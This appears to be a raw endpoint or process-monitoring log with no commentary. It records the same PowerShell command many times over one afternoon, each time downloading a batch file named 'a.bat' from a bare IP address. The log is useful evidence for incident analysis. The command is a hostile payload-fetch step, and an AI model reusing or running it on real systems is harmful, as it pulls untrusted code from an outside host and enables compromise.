C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:01:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:03:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:05:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:06:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:08:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:08:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:10:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:11:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:13:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:13:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:15:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:16:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:18:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:18:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:20:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:21:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:23:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:23:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:25:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:26:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:28:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:28:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:30:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:31:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:33:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:33:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:35:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:36:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:38:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:38:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:40:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:41:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:43:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:45:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:48:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:51:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:53:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:55:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:56:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:58:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 16:58:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:00:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:01:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:03:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:05:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:06:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:08:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:08:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:10:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:11:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:16:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:18:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:18:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:20:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:21:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:25:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:26:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:28:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:30:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:31:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:33:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:35:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:36:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:38:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:41:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:46:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:46:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:48:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:48:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:51:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:51:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:53:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:56:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:58:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 17:58:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:01:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:01:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:03:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:06:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:08:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:08:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:11:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:11:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:13:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:13:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:16:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:16:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:18:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:19:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:21:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:21:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:23:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:24:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:26:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:26:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:28:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:29:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:31:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:31:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:33:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:34:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:36:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:36:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:38:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:39:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:41:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:41:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:43:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:44:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:46:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:46:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:48:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:49:07 NOTIFY: PROCESS 